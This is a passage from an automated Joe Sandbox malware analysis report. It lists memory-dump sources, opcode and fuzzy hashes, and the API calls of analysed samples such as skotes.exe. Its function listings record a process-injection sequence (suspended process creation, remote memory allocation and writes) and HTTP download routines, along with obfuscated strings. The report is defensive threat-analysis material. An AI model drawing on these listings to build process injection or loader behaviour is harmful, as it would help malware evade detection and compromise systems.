Associated: 00000003.00000002.1854082331.00000000007FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854115332.00000000007FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854143667.000000000080D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854168526.0000000000810000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854196551.000000000081D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854221497.0000000000820000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854280245.0000000000821000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854314334.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854379565.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854405442.000000000082B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854433232.0000000000838000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854460939.0000000000839000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854486313.000000000083F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854511310.0000000000843000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854531909.0000000000844000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854555307.0000000000846000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854579999.000000000084F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854603121.0000000000850000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854622064.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854644152.0000000000853000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854665305.0000000000854000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854686015.0000000000856000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854705277.0000000000857000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854725690.000000000085F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854748181.0000000000870000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854766684.0000000000872000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854848513.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854868697.00000000008CE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 97bba6a61ac2b97e7c617b91085c3acbcdc79edb2dce78b78324f8d51b4914b1
Instruction ID: e376ceafed5d71fff68b2d8e9bc20137a8e34b6a9a8702e8bc300c35fcf79338
Opcode Fuzzy Hash: 97bba6a61ac2b97e7c617b91085c3acbcdc79edb2dce78b78324f8d51b4914b1
Instruction Fuzzy Hash: 2DF092B112C701CFE740AF28D4C56BEBBE5EB08300F46492DDAC186640D73158818A47

Non-executed Functions

Function 007A907F Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1852799976.00000000007A9000.00000040.00000001.01000000.00000006.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.1851046848.0000000000610000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851231541.0000000000612000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851565441.0000000000616000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851829170.000000000061A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851966609.0000000000626000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852744557.0000000000797000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852776576.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852799976.00000000007B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853093829.00000000007B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853176408.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853210807.00000000007C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853239011.00000000007CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853315849.00000000007CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853347355.00000000007CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853487653.00000000007DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853520263.00000000007DF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853565524.00000000007E9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853820799.00000000007EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853862193.00000000007F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853989694.00000000007F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854082331.00000000007FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854115332.00000000007FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854143667.000000000080D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854168526.0000000000810000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854196551.000000000081D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854221497.0000000000820000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854280245.0000000000821000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854314334.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854379565.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854405442.000000000082B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854433232.0000000000838000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854460939.0000000000839000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854486313.000000000083F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854511310.0000000000843000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854531909.0000000000844000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854555307.0000000000846000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854579999.000000000084F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854603121.0000000000850000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854622064.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854644152.0000000000853000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854665305.0000000000854000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854686015.0000000000856000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854705277.0000000000857000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854725690.000000000085F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854748181.0000000000870000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854766684.0000000000872000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854848513.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854868697.00000000008CE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf5c18108511af6a0d46c9deca80be06f650e37537203be85fd78f63a89a699e
Instruction ID: 03a02c0ed687d47c889c9a1923d519023fdca1557829d78caaba1b880727577d
Opcode Fuzzy Hash: bf5c18108511af6a0d46c9deca80be06f650e37537203be85fd78f63a89a699e
Instruction Fuzzy Hash: 8F8129F3A0C6049FE3146E2DEC9577ABBE5EF94360F1A463DEAC4C3340E63958058696

Analysis Process: M20I1ZOZUN9VGSWFO63POXM.exePID: 8028, Parent PID: 7444COMMON

Executed Functions

Function 05190B72 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1771984131.0000000005190000.00000040.00001000.00020000.00000000.sdmp, Offset: 05190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5190000_M20I1ZOZUN9VGSWFO63POXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8acedba277058711bc2308b33f73b94f3f7d001af78958e12ab11e93eb91b8b6
Instruction ID: d141f31f9ba791014a8ad859c177fab4f425e866ec06d5b74b5b5cf935e83b30
Opcode Fuzzy Hash: 8acedba277058711bc2308b33f73b94f3f7d001af78958e12ab11e93eb91b8b6
Instruction Fuzzy Hash: 2A018EEF14C100BD7969C1452B6CAF66AAFE6CA73073188A6F403C6502E3984E4D5172

Function 05190B88 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1771984131.0000000005190000.00000040.00001000.00020000.00000000.sdmp, Offset: 05190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5190000_M20I1ZOZUN9VGSWFO63POXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 484ce586f635656cb281032bcd18bb94bd79b4db7023ab0ab7667ec14ae27d9b
Instruction ID: d78aa4948e23225a7fb75ff0165d7fb4e9e0519a956541a35afed6bf12110200
Opcode Fuzzy Hash: 484ce586f635656cb281032bcd18bb94bd79b4db7023ab0ab7667ec14ae27d9b
Instruction Fuzzy Hash: 4901B5EF14C100BD6969C1416B6CBF767BEE6CA730731CCA6F443C6102D3984A4D5172

Function 05190B92 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1771984131.0000000005190000.00000040.00001000.00020000.00000000.sdmp, Offset: 05190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5190000_M20I1ZOZUN9VGSWFO63POXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0b79ec874746e0f4504539d00c4c4ec22805acaada1478dc653876b943ef970
Instruction ID: ec1bf68571602ae2ead9ed2fcb0900235beb9a1af798a0ee0a7861b69978e5bc
Opcode Fuzzy Hash: f0b79ec874746e0f4504539d00c4c4ec22805acaada1478dc653876b943ef970
Instruction Fuzzy Hash: 700192EF14C100BE6569D5416BACAF767AEE5CA7307318CA6F803C6102D3944E4E5171

Function 05190BA9 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1771984131.0000000005190000.00000040.00001000.00020000.00000000.sdmp, Offset: 05190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5190000_M20I1ZOZUN9VGSWFO63POXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2e3fcd4a4728249f457958359c0286371c3f2abadd7a2084ae8815a01cc8766
Instruction ID: 6409c58c7d2de757b05939db06f96fafefcb61a8da47ffcd075d05abba49c5d2
Opcode Fuzzy Hash: b2e3fcd4a4728249f457958359c0286371c3f2abadd7a2084ae8815a01cc8766
Instruction Fuzzy Hash: A101F2EB10C100BD6959C6456B5CAB67BBEE5CA730731CDA6F043C6002D3988A4A52B2

Function 05190BC1 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1771984131.0000000005190000.00000040.00001000.00020000.00000000.sdmp, Offset: 05190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5190000_M20I1ZOZUN9VGSWFO63POXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88cc60e6452f5db9bfc80f984c8aceda38b596e4ed4887a41466757ee94f87a0
Instruction ID: 544e8d7fb262effa6a8811a5e6f3119495dfdcd8e82b20e6ab143835acbd785a
Opcode Fuzzy Hash: 88cc60e6452f5db9bfc80f984c8aceda38b596e4ed4887a41466757ee94f87a0
Instruction Fuzzy Hash: 28F0A4FB10C100BD6519C651676C6F6BBBEE5CA7307318CE7F443C6401E3A58A4A5272

Function 05190BD4 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1771984131.0000000005190000.00000040.00001000.00020000.00000000.sdmp, Offset: 05190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5190000_M20I1ZOZUN9VGSWFO63POXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdd0493990c66475259876970f40a1a63d6ea80cd5b6bca7c29035d2d3b415cc
Instruction ID: 11806b37115f77f808d44aec0e98a3e1466e99da7acf0ac3bf506bf16b0e5f3c
Opcode Fuzzy Hash: fdd0493990c66475259876970f40a1a63d6ea80cd5b6bca7c29035d2d3b415cc
Instruction Fuzzy Hash: 16F0F6EB14C100BE592AD1116F6D6F76BAEE6CA7307318DA6F443C6102E3D9464A51B2

Function 05190C41 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1771984131.0000000005190000.00000040.00001000.00020000.00000000.sdmp, Offset: 05190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5190000_M20I1ZOZUN9VGSWFO63POXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e674d6536094bc01f27dad58b8e1d93c3340f3553f11591f8c58641c8e059a4
Instruction ID: ea18ea0cf875fb5b4386daa1f18f7853a65258703f0640fea5b112599644c141
Opcode Fuzzy Hash: 1e674d6536094bc01f27dad58b8e1d93c3340f3553f11591f8c58641c8e059a4
Instruction Fuzzy Hash: 92F0C2AB14C1006D591AD161275D7F6AFAAA5CA6303318DA7F043C9402D399864E52B2

Function 05190BFA Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1771984131.0000000005190000.00000040.00001000.00020000.00000000.sdmp, Offset: 05190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5190000_M20I1ZOZUN9VGSWFO63POXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac58b8d6c8bd2f710143b53a412e955ca8ed9a37e7eaef1d48bb07733a2d2532
Instruction ID: 6db6d16d42d62a68e4bb729612265b8d094fed7108a10bdd130ee5a97e5275ec
Opcode Fuzzy Hash: ac58b8d6c8bd2f710143b53a412e955ca8ed9a37e7eaef1d48bb07733a2d2532
Instruction Fuzzy Hash: 0BF02EBB108100BE4569D554669D5757FBBF6CA6307318DD6F443C7001D368814596B2

Function 05190C14 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1771984131.0000000005190000.00000040.00001000.00020000.00000000.sdmp, Offset: 05190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5190000_M20I1ZOZUN9VGSWFO63POXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1386f45b3480ed71b882b4a9055aadbdef4d421fa7e4cda13bab05c95f2d323c
Instruction ID: a84d3e0d6a4b3a8f4711733f5f4134e5a9f7cc0c09e3fff0ff7240800b951bf2
Opcode Fuzzy Hash: 1386f45b3480ed71b882b4a9055aadbdef4d421fa7e4cda13bab05c95f2d323c
Instruction Fuzzy Hash: 40E02BDB10C9406B495ED190579D6F17FABBADF1313354EE6F0438E503979A824B82B2

Function 05190C36 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1771984131.0000000005190000.00000040.00001000.00020000.00000000.sdmp, Offset: 05190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5190000_M20I1ZOZUN9VGSWFO63POXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7ef787433a28575a5c3f01ac82951e664c598f557258aeb9af7e8102e5b2c9a
Instruction ID: 55ad65fc7abb6f5b184ee536a1cf714e2fbf756aed534e488890c3a3aebfb969
Opcode Fuzzy Hash: c7ef787433a28575a5c3f01ac82951e664c598f557258aeb9af7e8102e5b2c9a
Instruction Fuzzy Hash: 6DD0A79F08C2009904EED181134D2F07AAB759B1313310DE2E0139950263DE425E52B7

Function 05190C5A Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1771984131.0000000005190000.00000040.00001000.00020000.00000000.sdmp, Offset: 05190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5190000_M20I1ZOZUN9VGSWFO63POXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ab9daf74fef359cfeff3949667d6d9861c0fe1047f12c99bb52667b32480c82
Instruction ID: 6bd7afca71765d7fe30615bb692a3fd5e06be3f4413af0c9bc2cc943c3a831ac
Opcode Fuzzy Hash: 1ab9daf74fef359cfeff3949667d6d9861c0fe1047f12c99bb52667b32480c82
Instruction Fuzzy Hash: CAC0802F094600454555D5C1224C63176A335B71313348DF2D013CA102C1ED810F5773

Analysis Process: skotes.exePID: 424, Parent PID: 932COMMON

Execution Graph

Execution Coverage:	12.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.8%
Total number of Nodes:	1871
Total number of Limit Nodes:	97

Executed Functions

Function 00FCBE30 Relevance: 23.1, APIs: 6, Strings: 7, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 00FCBEB8
InternetOpenW.WININET(01018DC8,00000000,00000000,00000000,00000000), ref: 00FCBEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00FCBEEB
HttpOpenRequestA.WININET(?,00000000), ref: 00FCBF36
HttpSendRequestA.WININET(?,00000000), ref: 00FCBFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 00FCC0A8
InternetCloseHandle.WININET(?), ref: 00FCC187
InternetCloseHandle.WININET(?), ref: 00FCC18F
InternetCloseHandle.WININET(?), ref: 00FCC197

Strings

RmNn, xrefs: 00FCD606
invalid stoi argument, xrefs: 00FCE4F4
RE1NXF==, xrefs: 00FCBF0E
8HJUeMD Lq5=, xrefs: 00FCC465
8HJUeIfzLo==, xrefs: 00FCC3CB, 00FCC623
stoi argument out of range, xrefs: 00FCE4EA
h], xrefs: 00FCD5D3

Memory Dump Source

Source File: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000006.00000002.2640618542.0000000000FC0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2641659878.0000000001022000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642451822.0000000001029000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000102B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000129C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012CB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012D2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2645965079.00000000012E3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647631183.0000000001484000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647933199.0000000001486000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fc0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$h]$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-3146347345
Opcode ID: 31f12ad130cfbb56c073d3c7c78b369076d2ce0b0d5a8b3e44a0149aa710e7ed
Instruction ID: ae9c17b6a377c79ebee4839311f9bee53dc8f1a889486053dea416b7c801ee59
Opcode Fuzzy Hash: 31f12ad130cfbb56c073d3c7c78b369076d2ce0b0d5a8b3e44a0149aa710e7ed
Instruction Fuzzy Hash: 56B102B1A002199BDB24CF28CD86FEEBB69EF41304F54819DF50897292DB349AC4DF94

Function 00FC70A0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 132
memoryprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00FC712B
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00FC7144
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 00FC7159
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 00FC7179
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 00FC71BB
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 00FC71D8
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00FC7291

Strings

invalid stoi argument, xrefs: 00FC7090
, xrefs: 00FC7170
VUUU, xrefs: 00FC6F41

Memory Dump Source

Source File: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000006.00000002.2640618542.0000000000FC0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2641659878.0000000001022000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642451822.0000000001029000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000102B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000129C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012CB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012D2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2645965079.00000000012E3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647631183.0000000001484000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647933199.0000000001486000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fc0000_skotes.jbxd

Yara matches

Similarity

API ID: ProcessVirtual$AllocMemory$ContextCreateFreeReadThreadWow64Write
String ID: $VUUU$invalid stoi argument
API String ID: 2898515578-3954507777
Opcode ID: 4280ac8692b72c2293f96031d0855c5e9a6017a9cc8c4c992855f0bb60711216
Instruction ID: 421827e04f009a4c68c4bc51206da931b846ecee21063b74ec55e8e84e512752
Opcode Fuzzy Hash: 4280ac8692b72c2293f96031d0855c5e9a6017a9cc8c4c992855f0bb60711216
Instruction Fuzzy Hash: 1D41C371688302BFE620AF60CD02F9BB7E9AF44B14F400519F784AA1D0D7B0F9049F9A

Function 00FC65E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00FC6680

Strings

ISNmfV==, xrefs: 00FC67D1
GSTmfV==, xrefs: 00FC6728
RySfdMLx, xrefs: 00FC669C

Memory Dump Source

Source File: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000006.00000002.2640618542.0000000000FC0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2641659878.0000000001022000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642451822.0000000001029000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000102B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000129C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012CB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012D2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2645965079.00000000012E3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647631183.0000000001484000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647933199.0000000001486000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fc0000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: 4afa8ddf678a8a04989293e8cd1f038d7f7a5e188d6a65fce2beea871591b8ed
Instruction ID: 64cce54a5d596804f9aad1892892c1fad950968dc77fb57dac9c8c0904e4d57f
Opcode Fuzzy Hash: 4afa8ddf678a8a04989293e8cd1f038d7f7a5e188d6a65fce2beea871591b8ed
Instruction Fuzzy Hash: 0B91FEB19001199BDB28DB28CC86FEDB779EF45304F4045EDE509D7282DA359BC89FA4

Function 00FDD3E2 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00FC24BE

Memory Dump Source

Source File: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000006.00000002.2640618542.0000000000FC0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2641659878.0000000001022000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642451822.0000000001029000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000102B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000129C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012CB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012D2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2645965079.00000000012E3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647631183.0000000001484000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647933199.0000000001486000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fc0000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 28b40c748a609260d83dbf6b939c8ea78b0e3ae995bb4625443b15425c2ce0a7
Instruction ID: 934e9eb9ed79601da7ec6cd31e4f378586c707ba0bf7b96ded369830cc008f86
Opcode Fuzzy Hash: 28b40c748a609260d83dbf6b939c8ea78b0e3ae995bb4625443b15425c2ce0a7
Instruction Fuzzy Hash: A0519E72D0030ACBDB35CF58D8857A9B7B6FB58324F28856AD845EB384D339A940DB90

Function 04B50E4B Relevance: .1, Instructions: 82COMMON

Download Yara Rule

